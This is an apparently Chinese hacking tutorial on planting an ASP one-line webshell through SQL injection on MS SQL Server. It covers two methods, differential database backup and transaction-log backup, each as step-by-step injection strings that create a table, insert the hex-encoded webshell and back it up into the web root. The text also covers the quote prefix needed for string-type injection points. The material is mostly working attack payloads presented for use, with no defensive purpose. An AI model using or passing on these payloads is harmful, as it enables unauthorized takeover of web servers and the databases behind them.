DB权限差异备份


一、差异备份的条件:

1、要有列目录的权限(能列目录当然不能低于DB_owner)

2、HTTP500错误不是自定义。可能大家不明白这是什么意思。

3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。

4、数据量不能太大,太大了没法在IE打开。

 

二、差异备份的步骤:

 

第一步:

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s--

备份当前数据库,以差异备份. “0x库名”这里备份的库名转换成16位进制。

当遇到字符型的注入点时要在;号前加一’号,如:htttp://www.*****.asp?id=1231';declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s--

 

第二步:

;Drop table [zkj];create table [dbo].[zkj] ([cmd] [image])--

建表加字段....

 

第三步:

insert into zkj(cmd) values(0x一句话木马)--

写入一句话木马  “0x一句话木马”用一句话木马的16位进制代码

 

第四步:

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--            备份得到shell

这是最关键的一步bakshell

“0x备份路径” 这是备份的Web路径的16位进制编码,也就是webshell的路径

假如备份的是F:\web\zkj.asp

16进制: 0x463A5C7765625C6861636B35382E617370

查看是否备份成功

 

第五步:

Drop table [zkj]--      

删除表

PS:如果用一句话客户端连不上

 

分两种情况:

1.磁盘没有写的权限(找个有写的权限的目录重新备份,有可能成功)

2.FSO被删

 


DB权限LOG备份

 

一、条件

 

1、必需得知道Web目录

2.Web和数据库没有分离

 

PS:如果WEB和数据库分离,并不代表我们没有机会,我们照样可以备份,只是需要满足些条件。

 

二、具体步骤:

 

第一步:

;alter database 库名 set RECOVERY FULL--

 

 

第二步:

;create table cmd (a image)--

 

第三步:

;backup log 库名 to disk = 'c:\cmd' with init--

 

这样有点类似于增量备份的第一步,不过有点不同的是,做了这一步以后,备份出来的可用的shell是固定的。

 

第四步:

;insert into cmd (a) values (0x一句话木马)--

 

第五步:

;backup log 库名 to disk = 'Web路径\zkj.asp'--

 

第六步:

;drop table cmd--

 

PS:如果是字符型,请一定在语句前加'


你可能感兴趣的:(数据库,database,Htttp)